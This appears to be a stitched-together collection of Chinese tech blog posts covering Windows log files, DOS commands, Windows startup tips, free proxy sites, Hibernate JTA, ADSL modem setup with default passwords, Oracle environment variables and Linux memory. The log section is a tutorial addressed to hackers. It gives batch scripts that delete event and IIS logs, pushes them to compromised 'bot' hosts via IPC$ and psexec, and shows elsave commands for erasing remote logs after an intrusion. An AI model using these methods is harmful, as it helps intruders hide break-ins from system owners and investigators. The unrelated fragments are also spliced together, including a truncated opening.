计算机操作系统的日志(EVT文件)无法通过复制的方式到另外一个系统中。
所以,你给我的EVT文件我无法查看,你需要进行以下操作:
注释:ABC是计算机名
这样就可以在当前目录下发现一个 log.txt 的文件。
标签: remote
什么是日志文件?它是一些文件系统集合,依靠建立起的各种数据的日志文件而存在。在任何系统发生崩溃或需要重新启动时,数据就遵从日志文件中的信息 记录原封不动进行恢复。日志对于系统安全的作用是显而易见的,无论是网络管理员还是 黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客会在入侵成功后迅速清除掉对自己不利的日志。无论是 攻还是防,日志的重要性由此可见。下面我们就来简单讨论一下日志文件的清除方法。
一、日志文件的位置
windows 2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%system32config。
安全日志文件:%systemroot%system32configSecEvent.EVT
系统日志文件:%systemroot%system32configSysEvent.EVT
应用程序日志文件:%systemroot%system32configAppEvent.EVT
有的管理员很可能将这些日志重定位(所以日志可能不在上面那些位置),其中EVENTLOG下面有很多的子表,在里面可查到以上日志的定位目录。
二、清除自己电脑中的日志
如果你要清除自己电脑中的日志,可以用管理员的身份来登录Windows,然后在“控制面板”中进入“管理工具”,再双击里面的“事件查看 器”。打开后我们就可以在这里清除日志文件了,里面有应用程序、安全和系统日志文件。举个例子,比方说你想清除安全日志,可以右键点击“安全日志”,在弹 出的菜单中选择“属性”。接下来在弹出的对话框中,点击下面“清除日志”按钮就可以清除了,如果你想以后再来清除这些日志的话,可以将“按需要改写尺 寸”,这样就可以在达到最大日志尺寸时进行改写事件了,不会提示你清除日志。
三、清除远程主机上的日志
大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击),一个优秀的系统管理员会利用这点来发现入 侵的企图,保护自己的系统。所以如果你是黑客,入侵系统成功后第一件事便是清除日志,擦去自己的形迹,这时可以用以下两个办法:一是自己编写批处理文件来 解决,编写一个能清除日志的批处理非常简单,方法是:新建一个具有如下内容的批处理文件:
@del c:winntsystem32logfiles*.*
@del c:winntsystem32config*.evt
@del c:winntsystem32dtclog*.*
@del c:winntsystem32*.log
@del c:winntsystem32*.txt
@del c:winnt*.txt
@del c:winnt*.log
@del c:del.bat
把上面的内容保存为del.bat备用。在上面的代码中echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,另外del命令大家一定清楚吧?它是删除文件命令。
接下来再新建一个批处理文件,内容如下:
@copy del.bat \%1c$
@echo 向肉鸡复制本机的del.bat……OK
@psexec \%1 c:del.bat
@echo 在肉鸡上运行del.bat,清除日志文件……OK
保存为clean.bat即可,假设已经与肉鸡进行了IPC连接,然后在CMD下输入:clean.bat 肉鸡IP,即可清除肉鸡上的日志文件。
清除日志的另外一个方法是借助第三方软件,如著名黑客软件流光的开发者黑客小榕的elsave.exe,就是是一款可以远程清除系统日志、 应用程序日志、安全日志的软件,大家可以在网上下载到。elsave.exe使用起来很简单,首先利用获得的管理员账号与对方建立IPC会话:net use \ip pass /user: user,然后在命令行下执行如下命令:elsave -s \ip -l application -C,这样就删除了安全日志。
命令:DIR,列文件、目录
增加参数:/-C
参数说明:DIR列文件、目录时显示的文件大小,其数值以千为单位进行分隔,使用此参数即“DIR/-C”将取消显示中的分隔符,以满足部分人的视觉习惯。
增加参数:/Q
参数说明:Windows是多用户操作系统,使用此参数即“DIR /Q”列文件、目录时,将显示出文件、目录的用户属性。
增加参数:/T:C、/T:A、/T:W
参数说明:使用此参数即“DIR/T:C”、“DIR/T:A”、“DIR/T:W”分别显示文件、目录的创建时间、上次访问时间和上次修改时间。
增加参数:/X
参数说明:使用此参数即“DIR/X”列文件、目录时,会对长文件名同时显示“8.3”格式的文件名。
命令:CD,改变目录
增加参数:/D
参数说明:此参数的作用是快速改变当前目录,比如当前目录是C:\Windows,使用命令“CD/D E:\Tools”可快速切换到E:\Tools目录下。注:只有在Win XP的“运行”文本框中输入“CMD”得到的DOS窗口中才能使用此参数。
命令:MD,建立目录
功能说明:此命令并未增加参数,但是增强了功能,它可一次建立多级子目录, 例如使用命令“MD AA\BB\CC\DD”将一次性创建AA、BB、CC、DD四级子目录。而在老版本的DOS中,若不存在AA子目录,便无法直接建立AA下的BB等深层子目录。
命令:RD,删除目录
增加参数:/S
参数说明:使用此参数即“RD/S”用于删除目录树,即删除目录及目录下的所有子目录和文件,相当于以前版本中的DELTREE命令。
增加参数:/Q
参数说明:使用上面的/S参数删除目录树时,系统会要求用户确认是否真的要删除。若同时使用/Q参数即“RD/S /Q”,在进行删除操作时将取消确认,相当于DELTREE命令的/Y参数。
命令:DEL,删除文件或目录
增加参数:/F
参数说明:使用此参数即“DEL/F”可删除只读文件。
增加参数:/S、/Q
参数说明:使用此参数即“DEL/S”作用与“RD/S”完全相同,即删除目录及目录下的所有子目录和文件。同时使用参数/Q,可取消删除操作时的系统确认。
增加参数:/A
参 数说明:删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、 /A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件。
命令:ATTRIB,更改文件或目录的属性
增加参数:/D
参 数说明:在Win XP中我们不能把文件或文件夹设置为系统属性,只能设为只读、隐藏或存档属性。而带参数/D使用ATTRIB命令可以对文件的所有属性进行设定,设定时必 须与参数/S同时使用。例如“ATTRIB /S /D +S D:\Study”,作用是将D:\Study文件夹设置为系统文件夹。
命令:Format,格式化磁盘
增加参数:/FS:filessystem
参数说明:按指定文件系统类型(FAT、FAT32、NTFS)格式化磁盘,例如“Format /FS:NTFS”。
命令:DATE、TIME,显示系统日期和时间
增加参数:/T
参数说明:使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
Win2000/XP应用之奇技酷招
每个Windows用户都希望Windows的启动速度越快越好,不过,如果你想让Windows启动速度更快些,还要掌握一些加速Windows启动的独门秘技!
1.不容忽视的磁盘IDE通道
Windows XP中有一个非常影响启动速度的设置,那就是磁盘IDE通道。一般来说,Windows XP用户不需要安装主板的IDE驱动或补丁程序,ULTRA DMA功能就已经打开了。也正因为如此,绝大多数用户会让IDE通道处于自动状态,但这会导致Windows XP启动变慢——因为主板可以连接四个IDE设备,但大多数电脑只有两个IDE设备,即硬盘和光驱。少数人可能有单硬盘、双光驱(DVD和刻录机)或双硬 盘、单光驱,即便这样也只有三个IDE设备,所以一般都有1~2个IDE通道处于空闲状态。此时,你应该把并不存在的IDE设备设置为“无”,而不是“自 动检测”。
提示:设置IDE通道的方法是:单击“开始→控制面板”,双击“系统”,切换到“硬件”选项卡,单击“设备管理器”,再双击 “IDE ATA/ATAPI控制器”。双击下面的“主要IDE通道”或“次要IDE通道”。我们可以看到,“设备0”下面的“设备类型”不可选,表明该IDE通道 目前已被使用。“设备1”下面的“设备类型”可选,如果你近期内不再添加新的IDE设备,可以将“设备类型”设置为“无”。
2.禁用服务和启用Power User
Windows 2000/XP的启动速度要比Windows 9x/Me慢,众多的服务是重要因素之一,因此普通用户禁用一些无用的服务,对启动速度也有很大帮助:
alerter (用户不在局域网并且不需要管理警报)
clipbook (用户不需要查看远程剪贴簿的剪贴页面)
distributed link tracking client (用户不使用NTFS分区并且没有连入局域网)
distributed transaction coordinator (不需要同时处理多个数据库或文件系统)
fax service (不需要发送或接收传真)
ftp publishing service(你的电脑不做为FTP服务器使用)
iis admin service (你的电脑不做为Web服务器使用)
另外,建议大家创建一个Power User用户,平时用它来登录Windows 2000/XP,因为相比管理员身份,它启动的服务更少同时也更加安全。
3.及时清理日志文件
Windows 2000/XP的日志文件比较容易被用户忽视。其实当我们每次开关机、运行程序、系统报错时,这些信息都会被记录下来,保存在日志文件中。但日志文件会随着时间的增长越来越大,从而影响了系统启动速度。我们可以自己指定日志文件的大小及处理方式:
进 入“开始→设置→控制面板→管理工具”,双击“事件查看器”或是单击“开始→运行”,输入“eventvwr.msc”后回车,即可打开“事件查看器”, 在右侧窗口中可看到应用程序日志、安全日志和系统日志。在任意一种日志上面右击并选择“属性”,就可以在如图所示的对话框中为日志文件设定最大值,还可以 选择当日志满了以后的处理方式——一般来说让它自动覆盖一段时间以前的旧日志,这样日志文件就永远不会超出指定大小。单击“筛选器”选项卡可以指定需要写 入日志文件的事件类型。
设置“系统日志”的属性
4.借花献佛加快Windows 2000 启动
Windows XP相比Windows 2000在很多方面进行了优化改进,因而启动速度更快,那么能不能让Windows 2000也可以享受这样的好处呢?其实,只要找到Windows XP相应语言版本文件,然后替换Windows 2000的相应文件即可。这两个文件为NTLDR、NTDETECT.COM,它们都在系统分区的根目录下。当然,为了防止Windows 2000出错,建议用户在替换这两个文件前备份Windows 2000原有的同名文件。
5.让蓝色滚动条只滚动一圈
这 是一个适用于Windows XP的秘技。打开“注册表编辑器”,依次展开[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session Manager\Memory Management\PrefetchParameters]分支,然后双击右侧窗口中的DWORD值“EnablePrefetcher”,将其值由 “3” 改为“1”。退出注册表编辑器并重启电脑,你会发现进入Windows XP时蓝色滚动条的滚动时间明显减少了!
1、火力地带提供免费在线代理
多台国外稳定服务器,高速访问,叫你畅快浏览任何站点!
网址:http://119.sn.cn
2、Sneakly免费在线代理服务器
支持SSL、页面风格简洁,没什么广告,支持SSL可以访问Gmail等https网站。
网址:http://www.sneakly.com
3、万维在线代理 网址: http://www.wwwproxy.cn
4、web-php-proxy免费在线代理服务器
这个免费代理要重点的说一说,该在线代理服务器不同于一般的在线代理,是一个在线代理集成的网站,每一个小时监测一次代理接口的可用性,本身自己不提供代理服务。在页面中地址栏URL处输入网址,然后再按回车键,选择可用的Web代理服务器,即可通过此代理访问你要访问的网站,速度还行。网址:http://web-php-proxy.com/zh
5、BypassThat免费在线代理服务器
广告不算多,也没有弹窗广告。支持SSL可以访问Gmail等https网站,速度一般。在页面中的地址栏输入你要访问的网址,回车或者点“GO”即可使用代理来访问你想上的网站。
网址:http://www.bypassthat.com
6、摆渡520log在线代理 网址:http://www.520log.cn
标签: proxy
在一些具有非常严格的XADataSource实现的JTA环境中(目前来说只是WebLogic和WebSphere的某些版本)当你将Hibernate配置成不感知JTA PlatformTransactionManager 对象时,容器可能会在应用服务器日志中报出一些警告和异常。 这些警告和异常通常会说:“正在被访问的连接不再有效,或者JDBC连接不再有效,可能由于事务不再处于激活状态”。下面是一个从WebLogic上抛出的异常:
java.sql.SQLException: The transaction is no longer active - status: 'Committed'.
No further JDBC access is allowed within this transaction.
这样的错误警告很容易解决:只要简单的把Hibernate配置成感知到JTA PlatformTransactionManager 实例的存在即可,同时将他们进行同步(与Spring同步)。可以有两种方法达到这种效果:
如果你已经在你的application context中定义并获取了JTA PlatformTransactionManager 对象(或许来自通过 JndiObjectFactoryBean 得到的JNDI)并已经将它注入到类似Spring的 JtaTransactionManager 中, 那么最简单的方式就是指定这个bean的引用作为 LocalSessionFactoryBean 的 jtaTransactionManager 属性。Spring将使这个对象被Hibernate所感知。
多数情况下,你还没有得到JTA的 PlatformTransactionManager 实例(由于Spring的 JtaTransactionManager 能够自己找到它),所以你需要自行配置Hibernate并直接寻找资源。 正如Hibernate文档中提到的,这可以通过在Hibernate配置一个应用服务器特定的 TransactionManagerLookup 类来完成。
对于恰当的使用方法,你无需了解更多的东西。但是我们在这里将描述一下,对于将Hibernate配置为感知或者不感知JTA的 PlatformTransactionManager 对象这两种情况下,整个事务的执行顺序。
Hibernate被配置成不感知JTA PlatformTransactionManager 的情况下,当一个JTA事务提交时,整个事件的执行顺序如下:
JTA 事务提交
Spring的 JtaTransactionManager 同步到JTA事务,它被JTA事务管理器通过调用 afterCompletion 执行回调。
在所有其他活动中,这将由Spring向Hibernate触发一个回调,通过Hibernate的 afterTransactionCompletion 回调(用于清除Hibernate缓存),然后紧跟着一个明确的Hibernate Session的 close() 调用。 这将使Hibernate试图去关闭JDBC的Connection。
在某些环境中,Connection.close() 的调用将会触发一个警告或者错误信息。 这是由于特定的应用服务器将不再考虑Connection的可用性,因为此时事务已经被提交了。
Hibernate被配置成感知JTA的 PlatformTransactionManager 的情况下,当一个JTA事务提交时,整个事件的执行顺序如下:
JTA 事务准备提交
Spring的 JtaTransactionManager 同步到JTA事务,因而它被JTA事务管理器通过调用 beforeCompletion 执行回调。
Spring能感知到Hibernate自身被同步到JTA Transaction,因而表现得与先前那种情况有所不同。 假设Hibernate的 Session 需要被关闭,Spring将负责关闭它。
JTA 事务提交
Hibernate将与JTA transaction进行同步,因而它被JTA事务管理器通过调用 afterCompletion 执行回调,并且适时地清除缓存。
标签: hibernate
联信永益268L1 ADSL Modem (AA/AB/AC)路由设置方法网上有许多,但最近报装的ADSL网通免费送的猫虽然也是AB系列,但用户名和密码以及界面都已变化。与在网通工作的朋友咨询及网上查阅资料后路由设置及端口映射的方法如下:北京地区
268L1 新AB
主机名称: Viking
硬件版本: 810020
软件版本: 25051216c.0
第一步:设置电脑网络配置
网上邻居-->鼠标右键-->属性-->本地连接-->鼠标右键-->属性 -->Internet 协议 (TCP/IP)-->属性-->设置如图-->确定
第二步:打开IE浏览器,输入http://192.168.1.1
用户名:admin
密码:admin
记住,后面我们要记得修改这个用户密码。
附:联信永益系列ADSL设备的IP地址和默认用户名密码如下: IP地址:
①如果是AA的输入: 10.0.0.2
②如果是AB/AC/企业ADSL的输入 :192.168.1.1
用户名和密码:
①AA开头的MODEM输入:
用户名:admin
密 码:epicrouter
②AB开头或企业ADSL的MODEM输入:
用户名:adsl
密 码:adsl1234
③AC开头的MODEM输入:
用户名:root
密 码:Admin
最新AB开头
用户名:admin
密 码:admin
第三步:
局域网 -->DHCP模式-->选择 DHCP Server-->提交
第四步:
广域网-->ATM VC-->找到与你的ISP对应参数的接口,北京地区VPI/VCI为0/35,对应接口为aal5-3。如果列表中没有的,自行添加。
第五步:
广域网-->PPP-->添加-->如图-->提交
第六步:
桥接-->Bridging-->Enable/Disable-->关闭 Bridging -->提交
第七步:
设置端口映射(端口映射的好处我不说了 )
服务-->NAT-->选择 NAT Rule Entry -->添加-->如图-->提交
其中,以上设置中协议也可以单独设置TCP和UDP
第八步:
管理-->用户密码-->修改默认用户和密码。
修改默认路由器用户名和密码,这一步很重要。因为如果保持默认的用户名和密码,那么别人很容易就能窃取你的帐号。 这款路由还有一个guest用户,记得删除这个guest用户。
第九步:
为了更加安全,管理-->端口配置-->修改路由的默认端口
HTTP 端口: (80, 61000-62000) :61000-62000间任意值,如61080,但自己要记住所设值,以后管理时网址就是 http://192.168.1.1:61080/
Telnet 端口: (23, 61000-62000) :同上
FTP 端口: (21, 61000-62000) :同上
第十步:
管理-->保存配置-->重启路由。然后,你就可以尽情上网了。
AA
1、联信永益286L1型号AA开头的adsl猫
2、一个8口交换机
3、两台电脑
我怎么才能用adsl猫做路由实现共享上网呢?
我在网上找了n多设置的文章,按照步骤走下去,保存,重起,
但是点击连接,过会提示,连接失败,帮帮我帮我!!
那位大哥大姐能给个详细的说明!
我参考的文章内容为:
============================================
如果编号是AA开头的猫,那很简单
10.0.0.2
admin
epicrouter
在常规设置中
静态IP和网关IP:192.168.241.101
启用VCI、VPI(不修改)
封装协议:PPPoELLC
桥接模式:否
NAT:DynamicNAPT
电脑要设置本地ip10.0.0.*(*不能是2)
网关设置为10.0.0.2
也要设置北京的ADSL用户DNS服务器:
主控DNS:202.106.0.20
辅助DNS:202.106.196.115
============================================
本文的说明适用于拥有电信赠送的联信永益268L1型号的ADSLmodem
1将modem和要上网的电脑接入同一个HUB
2在电脑上设置如下
设置网卡的IP地址在10.0.0.(3-255)范围内;
设置子网掩码在255.0.0.0;
设置默认网关的IP地址在10.0.0.2;
设置正确的DNS域名服务器地址(由ADSL服务商提供)
2在其中一台电脑上访问
http://10.0.0.2/
在弹出的页面上输入用户名和秘密
用户名:admin
密码:epicrouter
3在配置页面上填写ADSL拨号的用户名称和密码。
封装方式选择PPPoELLC
提交并保存(注意一定要保存)。
4等待ADSL重新启动,重启之后电脑就可以上网了。
友情提示:如果您不是包月上网,那么请不要开启路由模式,因为它只要通电就会一直在线计费。
标签: ADSL
连串英文自动换行的方法
简介:如果你正在制作论坛的话,你可能会遇到当用户输入一连串的英文时,表格不能对此进行自动换行,就会导致所在的元素被撑大了,造成了页面的不美观,如果你正在寻找简单的解决方法的话,看看下面的文章,注意只对IE5.5+有效果
1.显示效果与代码
[效果]
51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM
[代码]
<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bg>
<tr>
<td style="LEFT: 0px; WIDTH: 100%; WORD-WRAP: break-word"><font color="#990000">[效果]</font><br>
连串英文省略
</font></td>
</tr>
</table>
2.注意
[代码]
style="LEFT: 0px; WIDTH: 100%; WORD-WRAP: break-word" 你可修改为指定的大小如 200px
[效果]
51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.
COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51
JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.CO
M51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS
.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.COM5
1JS.COM51JS.COM51JS.COM51JS.COM51JS.COM51JS.C
OM51JS.COM51JS.COM
解决oracle 10g em web页乱码[oracle@DBCS ~]$ cd /u01/app/oracle/product/10.2.0/db_1/jdk/jre/lib[oracle@DBCS lib]$ lsaudio font.properties.zh_CN.Redhat2.1charsets.jar font.properties.zh_CN.Suncmm font.properties.zh_CN_UTF8.Suncontent-types.properties font.properties.zh_HK.Sunext font.properties.zh_HK_UTF8.Sunflavormap.properties font.properties.zh_HK_UTF8.Sun2003font.properties font.properties.zh.Turbofont.properties.ja font.properties.zh_TW.Redhatfont.properties.ja_JP.Sun font.properties.zh_TW.Redhat2.1font.properties.ja_JP.Sun2003 font.properties.zh_TW.Sunfont.properties.ja_JP_UTF8.Sun font.properties.zh_TW_UTF8.Sunfont.properties.ja_JP_UTF8.Sun2003 font.properties.zh_TW_UTF8.Sun2003font.properties.ja.Redhat3 fontsfont.properties.ja.Redhat6.1 i386font.properties.ja.Redhat6.2 imfont.properties.ja.Redhat7.2 imagesfont.properties.ja.Redhat7.3 jce.jarfont.properties.ja.Redhat8.0 jsse.jarfont.properties.ja.Turbo jvm.hprof.txtfont.properties.ja.Turbo6.0 jvm.jcov.txtfont.properties.ko_KR.Sun localefont.properties.ko_KR_UTF8.Sun logging.propertiesfont.properties.ko_KR_UTF8.Sun2003 plugin.jarfont.properties.ko.Redhat psfontj2d.propertiesfont.properties.ko.Redhat2.1 psfont.properties.jafont.properties.Redhat6.1 rt.jarfont.properties.Redhat8.0 securityfont.properties.SuSE8.0 sunrsasign.jarfont.properties.zh_CN.Redhat zi[oracle@DBCS lib]$ ls font*zh_CN*font.properties.zh_CN.Redhat font.properties.zh_CN.Sunfont.properties.zh_CN.Redhat2.1 font.properties.zh_CN_UTF8.Sun[oracle@DBCS lib]$ mv font.properties font.properties.bak[oracle@DBCS lib]$ cp font.properties.zh_CN.Redhat font.properties[oracle@DBCS lib]$ emctl stop dbconsoleTZ set to PRCOracle Enterprise Manager 10g Database Control Release 10.2.0.1.0 Copyright (c) 1996, 2005 Oracle Corporation. All rights reserved.http://DBCS:1158/em/console/aboutApplicationStopping Oracle Enterprise Manager 10g Database Control ... ... Stopped.[oracle@DBCS lib]$ cd /u01/app/oracle/product/10.2.0/db_1/oc4j/j2ee/oc4j_applications/applications/em/em/cabo/images/cache/zhs/[oracle@DBCS zhs]$ lsb-0c_ASH_5.gif b-68.gif b-b30c_ADD.gif b-deaf.gif b-f81cbf.gif b-iagree.gif tb-0.gifb-0c_ASH_5.imx b-68.imx b-b30c_ADD.imx b-deaf.imx b-f81cbf.imx b-iagree.imx tb-0.imxb-3d.gif b-70.gif b-b5.gif b-delete.gif b-f8.gif b-view.gifb-3d.imx b-70.imx b-b5.imx b-delete.imx b-f8.imx b-view.imxb-61af.gif b-7c2d.gif b-create.gif b-edit.gif b-filterAlerts.gif tb-0-0.gifb-61af.imx b-7c2d.imx b-create.imx b-edit.imx b-filterAlerts.imx tb-0-0.imx[oracle@DBCS zhs]$ rm *.gifrm: remove regular file `b-0c_ASH_5.gif'? yrm: remove regular file `b-3d.gif'? yrm: remove regular file `b-61af.gif'? yrm: remove regular file `b-68.gif'? yrm: remove regular file `b-70.gif'? yrm: remove regular file `b-7c2d.gif'? yrm: remove regular file `b-b30c_ADD.gif'? yrm: remove regular file `b-b5.gif'? yrm: remove regular file `b-create.gif'? yrm: remove regular file `b-deaf.gif'? yrm: remove regular file `b-delete.gif'? yrm: remove regular file `b-edit.gif'? yrm: remove regular file `b-f81cbf.gif'? yrm: remove regular file `b-f8.gif'? yrm: remove regular file `b-filterAlerts.gif'? yrm: remove regular file `b-iagree.gif'? yrm: remove regular file `b-view.gif'? yrm: remove regular file `tb-0-0.gif'? yrm: remove regular file `tb-0.gif'? y[oracle@DBCS zhs]$ lsb-0c_ASH_5.imx b-68.imx b-b30c_ADD.imx b-deaf.imx b-f81cbf.imx b-iagree.imx tb-0.imxb-3d.imx b-70.imx b-b5.imx b-delete.imx b-f8.imx b-view.imxb-61af.imx b-7c2d.imx b-create.imx b-edit.imx b-filterAlerts.imx tb-0-0.imx[oracle@DBCS zhs]$ emctl start dbconsoleTZ set to PRCOracle Enterprise Manager 10g Database Control Release 10.2.0.1.0 Copyright (c) 1996, 2005 Oracle Corporation. All rights reserved.http://DBCS:1158/em/console/aboutApplicationStarting Oracle Enterprise Manager 10g Database Control ................ started.------------------------------------------------------------------Logs are generated in directory /u01/app/oracle/product/10.2.0/db_1/DBCS_ORACS/sysman/log解决oracle 10g em web页乱码 - ORACLE -
标签: oracle
有趣的现象
有趣的现象
我按照OTN上的10.2.0的LINUX X86 安装DOC装了ORACLE 10G后,没建立STARTER DB.
安装的目的是为了建立042的实验环境.
但装好后
[oracle@localhost ~]$ dbca
bash: dbca: command not found
[oracle@localhost ~]$ netca
bash: netca: command not found
[oracle@localhost ~]$ lsnrctl
bash: lsnrctl: command not found
[oracle@localhost ~]$ sqlplus
bash: sqlplus: command not found
[oracle@localhost ~]$ isqlplusctl
bash: isqlplusctl: command not found
[oracle@localhost ~]$ emctl
bash: emctl: command not found
[oracle@localhost ~]$
什么都是COMMNAD NOT FOUND
要到/U01/APP/ORACLE/PRODUCT/10.2.0/BIN下运行才可以? 问题出在哪里了?麻烦老大说一下?
David.Guo 2006-8-3 09:18
应该是环境变量的关系
echo $ORACLE_BASE
echo $ORACLE_HOME
看看是啥结果.
brotherxiao 2006-8-3 09:21
export path=$path:/U01/APP/ORACLE/PRODUCT/10.2.0/BIN
mget 2006-8-3 09:31
检查一下你的环境变量,lsnrctl路径是否存在
real2004 2006-8-3 10:25
[quote]原帖由 [i]David.Guo[/i] 于 2006-8-3 09:18 发表
应该是环境变量的关系
echo $ORACLE_BASE
echo $ORACLE_HOME
看看是啥结果. [/quote]
确实是空,没有.s
real2004 2006-8-3 10:26
[quote]原帖由 [i]brotherxiao[/i] 于 2006-8-3 09:21 发表
export path=$path:/U01/APP/ORACLE/PRODUCT/10.2.0/BIN [/quote]
您写的和export PATH=$ORACLE_HOME/bin:$PATH这个有区别么?s
real2004 2006-8-3 10:50
而且我设置完ORACLE_BASE ORACLE_HOME 重新起动就都没有了..:<..每次启动都的重新设置?
ljq0219 2006-8-3 12:34
是要重先设置的,除非你在系统home目录下.profile或.login文件中加入这些设置。
brotherxiao 2006-8-3 12:51
[quote]原帖由 [i]real2004[/i] 于 2006-8-3 10:26 发表
您写的和export PATH=$ORACLE_HOME/bin:$PATH这个有区别么?s [/quote]
前提是你的$ORACLE_HOME要设置
加到oracle用户home目录下的.profile
real2004 2006-8-3 15:26
我总结了一下我的理解.大家帮忙看对么?
ORACLE的安装程序不会自动设置ORACLE_BASE和ORACLE HOME.
要手动设置.方法是修改ORACLE用户的.BASH_PROFILE
修改为如下:
[oracle@localhost ~]$ more .bash_profile
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
export PATH
unset USERNAME
umask 022
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_1
export PATH=$ORACLE_HOME/bin:$PATH
ljq0219 2006-8-3 16:25
应该可以了吧,你试一下好了
real2004 2006-8-4 10:42
谢谢各位.但是怎样让LINUX一启动就自动加载数据库和启动LISTNER和DBCONSOLE,ISQL PLUS呢?
David.Guo 2006-8-4 10:43
这个要写到启动文件里面,比较麻烦的了。
real2004 2006-8-18 00:22
明白了..谢谢楼上的.
oracle管理自己的软件时,大量使用了操作系统环境变量.环境变量是分配给操作系统中某一名称的值.软件可以使用名称来调用变量的值.
oracle软件使用了许多环境变量,非常重要的三个是 ORACLE_HOME,ORACLE_BASE和ORACLE_SID.ORACLE_HOME指定了你希望运行的oracle执行程序的位置.一台计算机上可能安装了若干个版本的oracle软件,大多数oracle程序查询ORACLE_HOME来决定运行何种版本的软件.ORACLE_BASE定义了数据库管理文件安装的基本目录.ORACLE_SID定义了你希望在其上工作的本地oracle数据库名称.如果是linux环境,在命令提示符下设置变量,如果是windows环境,则可以在命令提示符下或在注册表中设置.以下简述如何设置环境变量.(由于windows下相对简单,着重介绍linux平台)
1、su oracle并回车切换到oracle用户;
2、cd并回车回到oracle用户目录;
3、vi .bash_profile并回车编辑该文件,按I键进入插入状态,在最后加入以下行:
export ORACLE_SID=orcl
export ORACLE_HOME=/home/oracle/oracle/product/10....(...部分根据你的实际路径修改)
export PATH=$PATH:$ORACLE_HOME/bin
输入完毕后按ESC键退出vi编辑状态,输入:wq并回车存盘退出。
4、注销所有oracle用户,再使用oracle登录即可。以下资料简单介绍linux下如何查看oracle的环境变量
example :
[oracle@q1test01 ~]$ env |grep -e ORA -e TNS -e LD
OLDPWD=/home/oracle
LD_LIBRARY_PATH=/oracle/product/9.2/lib:/lib:/usr/lib:/usr/local/lib
ORACLE_SID=orcl
ORACLE_BASE=/oracle
ORACLE_TERM=xterm
LD_ASSUME_KERNEL=2.4.1
ORA_NLS33=/oracle/product/9.2/ocommon/nls/admin/data
ORACLE_HOME=/oracle/product/9.2
在Linux下查看内存我们一般用command free[root@nonamelinux ~]# free total used free shared buffers cachedMem: 386024 377116 8908 0 21280 155468-/+ buffers/cache: 200368 185656Swap: 393552 0 393552下面是对这些数值的解释:第二行(mem):total:总计物理内存的大小。used:已使用多大。free:可用有多少。Shared:多个进程共享的内存总额。Buffers/cached:磁盘缓存的大小。第三行(-/+ buffers/cached):used:已使用多大。free:可用有多少。第四行就不多解释了。区别:第二行(mem)的used/free与第三行(-/+ buffers/cache) used/free的区别。这 两个的区别在于使用的角度来看,第一行是从OS的角度来看,因为对于OS,buffers/cached 都是属于被使用,所以他的可用内存是8908KB,已用内存是377116KB,其中包括,内核(OS)使用+Application(X, oracle,etc)使用的+buffers+cached.第三行所指的是从应用程序角度来看,对于应用程序来说,buffers/cached 是等于可用的,因为buffer/cached是为了提高文件读取的性能,当应用程序需在用到内存的时候,buffer/cached会很快地被回收。所以从应用程序的角度来说,可用内存=系统free memory+buffers+cached.如上例:185656=8908+21280+155468接下来解释什么时候内存会被交换,以及按什么方交换。当可用内存少于额定值的时候,就会开会进行交换.如何看额定值(RHEL4.0):#cat /proc/meminfo交换将通过三个途径来减少系统中使用的物理页面的个数: 1.减少缓冲与页面cache的大小,2.将系统V类型的内存页面交换出去, 3.换出或者丢弃页面。(Application 占用的内存页,也就是物理内存不足)。事实上,少量地使用swap是不是影响到系统性能的。下面是buffers与cached的区别。buffers是指用来给块设备做的缓冲大小,他只记录文件系统的metadata以及 tracking in-flight pages.cached是用来给文件做缓冲。那就是说:buffers是用来存储,目录里面有什么内容,权限等等。而cached直接用来记忆我们打开的文件,如果你想知道他是不是真的生效,你可以试一下,先后执行两次命令#man X ,你就可以明显的感觉到第二次的开打的速度快很多。实验:在一台没有什么应用的机器上做会看得比较明显。记得实验只能做一次,如果想多做请换一个文件名。#free#man X#free#man X#free你可以先后比较一下free后显示buffers的大小。另一个实验:#free#ls /dev#free你比较一下两个的大小,当然这个buffers随时都在增加,但你有ls过的话,增加的速度会变得快,这个就是buffers/chached的区别。因为Linux将你暂时不使用的内存作为文件和数据缓存,以提高系统性能,当你需要这些内存时,系统会自动释放(不像windows那样,即使你有很多空闲内存,他也要访问一下磁盘中的pagefiles)使用free命令将used的值减去 buffer和cache的值就是你当前真实内存使用【转】linux内存查看用free命令_Work and Job
标签: linux
oracle管理自己的软件时,大量使用了操作系统环境变量.环境变量是分配给操作系统中某一名称的值.软件可以使用名称来调用变量的值.
